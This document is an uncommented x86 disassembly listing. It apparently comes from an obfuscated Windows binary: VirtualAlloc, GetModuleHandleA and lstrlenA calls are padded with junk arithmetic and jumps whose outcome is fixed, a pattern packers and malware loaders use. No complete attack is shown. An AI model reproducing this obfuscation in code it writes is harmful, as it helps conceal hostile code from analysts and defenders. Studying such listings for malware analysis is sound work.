push 0x8000
push 0xf00
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov cx, 0x9f
mov ecx, dword [esp]
mov dword [ebp - 0x2c], edi
mov si, 0x5c
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
lea ecx, [esp]
mov dword [ebp - 0x30], ecx
xor eax, eax
sub edi, edi
lea eax, [esp]
mov ecx, dword [ebp]
xor dword [ebp - 0x34], 0x9999
mov dword [ebp - 0x2c], 0x10
lea esi, [ebp]
and dword [ebp - 0x2c], 0x550055
mov eax, dword [ebp - 0x30]
lea ecx, [esp]
xor edi, edi
or dword [ebp - 0x2c], 0x9999
or dword [ebp - 0x34], 0xcccc00cc
lea ecx, [ebp - 0x30]
lea edi, [esp]
sub dword [ebp - 0x2c], 0x11000011
mov edi, dword [esp]
mov ecx, esi
and dword [ebp - 0x34], 0xbb00bb
mov esi, dword [ebp - 0x30]
mov edx, 1
push 8
push 0x8000
push 0x1000
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov edi, 1
mov ecx, dword [ebp - 0x30]
mov edx, 0x33
mov si, 0x89
mov edi, dword [esp]
mov esi, dword [ebp - 0x2c]
mov di, 0x77
mov ecx, 0xc9
sub dword [ebp - 0x2c], 0x11
lea esi, [ebp]
lea ecx, [ebp]
mov esi, dword [ebp]
xor edx, edx
mov edi, dword [ebp - 0x30]
mov eax, dword [ebp]
or dword [ebp - 0x2c], 0xee00ee
add dword [ebp - 0x30], 0x222222
and dword [ebp - 0x2c], 0x888888
mov eax, esi
mov dword [ebp - 0x34], 0xa5
and dword [ebp - 0x2c], 0x22002222
mov ecx, dword [ebp - 0x34]
mov esi, dword [ebp]
add dword [ebp - 0x30], 0xff00ffff
mov dword [ebp - 0x30], 0x4b
xor dword [ebp - 0x34], 0x1111
mov si, 0x40
mov edi, 0x69
lea edi, [ebp - 0x2c]
lea ecx, [ebp - 0x30]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea edx, [esp]
mov edi, 4
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0x30], eax
lea edi, [ebp]
mov eax, esi
mov eax, dword [ebp]
lea edi, [esp]
and dword [ebp - 0x2c], 0x55000055
sub dword [ebp - 0x2c], 0x55550055
add dword [ebp - 0x30], 0xbbbb
or dword [ebp - 0x30], 0x440044
xor dword [ebp - 0x30], 0x3333
lea edi, [ebp]
lea edi, [ebp - 0x30]
xor ecx, ecx
mov eax, dword [ebp - 0x30]
add dword [ebp - 0x30], 0x777777
mov esi, dword [esp]
xor dword [ebp - 0x2c], 0x333333
mov si, 0x17
or dword [ebp - 0x34], 0x22000022
add dword [ebp - 0x34], 0x2222
add dword [ebp - 0x30], 0x555555
mov dword [ebp - 0x30], 2
mov edi, esi
mov edx, 0x40
and dword [ebp - 0x34], 0x77777777
lea eax, [esp]
mov di, 8
sub ecx, ecx
mov dword [ebp - 0x34], ecx
cmp ecx, dword [ebp - 0x2c]
ja 0x406e10
sub ecx, ecx
mov eax, 0x300
sub dword [ebp - 0x34], 0x20
mov cx, 0x65
lea eax, [ebp - 0x2c]
push 0x4456e8
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov ebx, eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x34], 8
xor eax, eax
test eax, eax
jne 0x406e43
mov esi, dword [ebp - 0x2c]
add dword [ebp - 0x34], 4
and dword [ebp - 0x34], 0xffff
cmp esi, 0
ja 0x406e43
mov edx, dword [ebp - 0x20]
mov eax, 0x12c
mov dword [ebp - 0x2c], eax
sub eax, eax
cmp eax, 0
jne 0x406e7e
and dword [ebp - 0x34], 0xff
xor dword [ebp - 0x34], 0xff
mov esi, 0
mov si, 8
mov si, 8
xor dword [ebp - 0x30], 0xff00ff
mov esi, 0x4a
sub esi, esi
sub eax, eax
and dword [ebp - 0x2c], 0xffffff
mov si, 4
push edx
mov eax, 0x12c
and dword [ebp - 0x2c], 0xffffff
mov eax, 0x65
mov edx, 0
and dword [ebp - 0x30], 0xff
mov dx, 0x33
ret
push 4
push 0x2000
push 0x700
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov eax, dword [ebp]
mov eax, dword [ebp - 0x30]
mov edi, dword [esp]
lea esi, [ebp]
mov edi, dword [ebp - 0x30]
mov eax, edi
lea edx, [esp]
mov edi, dword [ebp]
mov ecx, dword [esp]
add dword [ebp - 0x30], 0x666666
mov dword [ebp - 0x30], edi
mov ecx, 0x51
sub dword [ebp - 0x30], 0x99999999
lea esi, [esp]
add dword [ebp - 0x30], 0x22000022
mov dword [ebp - 0x2c], edi
mov di, 2
and dword [ebp - 0x34], 0x88888888
add dword [ebp - 0x2c], 0x88880088
mov edi, dword [ebp - 0x30]
mov esi, dword [ebp]
or dword [ebp - 0x2c], 0x33003333
or dword [ebp - 0x2c], 0x1111
xor dword [ebp - 0x30], 0xdddddddd
mov eax, dword [ebp]
mov cx, 0x4a
sub dword [ebp - 0x2c], 0x2222
mov edi, dword [ebp - 0x30]
xor esi, esi
and dword [ebp - 0x2c], 0x666666
and dword [ebp - 0x30], 0x99000099
lea edx, [ebp]
push 8
push 0x2000
push 0x700
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [ebp - 0x34], esi
mov eax, edi
mov esi, edx
lea edi, [ebp - 0x30]
mov esi, dword [ebp]
mov esi, dword [ebp - 0x2c]
lea esi, [ebp - 0x34]
mov cx, 1
and dword [ebp - 0x30], 0xee00ee
xor ecx, ecx
and dword [ebp - 0x2c], 0x222222
sub dword [ebp - 0x30], 0x11110011
lea esi, [ebp - 0x2c]
sub dword [ebp - 0x34], 0xff0000ff
add dword [ebp - 0x2c], 0xbbbbbb
mov dword [ebp - 0x2c], 0x2d
sub dword [ebp - 0x34], 0xeeeeeeee
mov esi, ecx
mov edx, edi
lea esi, [esp]
xor ecx, ecx
mov eax, dword [esp]
mov edi, 0x40
mov esi, edi
mov esi, dword [esp]
mov dword [ebp - 0x2c], edi
xor edi, edi
xor ecx, ecx
sub eax, eax
and dword [ebp - 0x34], 0xbb00bb
add dword [ebp - 0x30], 0x33333333
mov eax, 0
mov dword [ebp - 0x34], 0x31
mov ax, 0x40
test eax, eax
jbe 0x407053
mov ecx, 0x12c
or dword [ebp - 0x30], 0xff00ff
sub ecx, ecx
test eax, eax
je 0x407053
push 8
push 0x2000
push 0x500
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov ecx, dword [ebp - 0x30]
mov ax, 0x80
mov edi, dword [ebp]
mov si, 4
lea eax, [ebp]
mov eax, dword [esp]
mov dword [ebp - 0x2c], esi
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x34], edi
and dword [ebp - 0x34], 0xaa00aaaa
lea edx, [ebp]
lea edi, [esp]
and dword [ebp - 0x2c], 0xffff
mov esi, dword [esp]
or dword [ebp - 0x30], 0xcccccccc
mov edi, dword [esp]
lea edi, [ebp - 0x34]
add dword [ebp - 0x30], 0xffff00ff
xor edi, edi
mov ecx, dword [esp]
mov ecx, dword [esp]
lea edi, [ebp]
sub dword [ebp - 0x34], 0x33003333
mov dword [ebp - 0x34], 0x91
or dword [ebp - 0x2c], 0x4444
mov dword [ebp - 0x30], esi
lea ecx, [ebp]
mov edi, 0xd3
mov dword [ebp - 0x2c], edi
lea ecx, [esp]
mov ecx, dword [ebp]
xor eax, eax
mov dword [ebp - 0x30], eax
xor esi, esi
push 8
push 0x2000
push 0x600
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov ecx, dword [ebp]
lea edx, [ebp]
lea edi, [esp]
mov ecx, 0x10
lea ecx, [ebp]
lea esi, [esp]
mov esi, dword [ebp - 0x2c]
mov edi, dword [esp]
mov esi, dword [ebp - 0x2c]
mov eax, dword [esp]
mov ecx, dword [ebp]
add dword [ebp - 0x34], 0xffffff
mov ecx, 0x50
mov si, 0x10
mov edi, dword [ebp]
mov si, 4
lea edi, [esp]
sub dword [ebp - 0x2c], 0x8888
lea ecx, [ebp - 0x34]
mov edi, dword [esp]
mov edi, dword [esp]
mov edx, dword [ebp - 0x30]
and dword [ebp - 0x30], 0xdddddddd
lea edx, [ebp - 0x34]
lea edi, [ebp]
lea edi, [ebp]
xor dword [ebp - 0x30], 0xaaaa
mov dword [ebp - 0x30], 1
add dword [ebp - 0x34], 0x880088
push 4
push 0x8000
push 0x900
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [ebp - 0x30], eax
mov edi, dword [ebp - 0x30]
lea edx, [esp]
mov edi, dword [esp]
lea esi, [ebp - 0x30]
mov edi, dword [esp]
mov edx, dword [ebp]
lea edi, [ebp - 0x34]
and dword [ebp - 0x30], 0xffff00ff
mov edi, dword [esp]
or dword [ebp - 0x34], 0x99990099
xor dword [ebp - 0x30], 0x44
xor ecx, ecx
sub dword [ebp - 0x2c], 0x11
mov dword [ebp - 0x30], 0xa0
add dword [ebp - 0x34], 0x666666
mov edi, dword [ebp - 0x34]
sub eax, eax
and dword [ebp - 0x34], 0xdd
lea eax, [ebp - 0x2c]
mov cx, 8
mov esi, dword [ebp - 0x2c]
lea eax, [ebp]
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp]
xor edx, edx
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x30]
xor ecx, ecx
sub ecx, ecx
sub dword [ebp - 0x2c], 2
test ecx, ecx
ja fcn.004071ff
xor edx, edx
xor ecx, ecx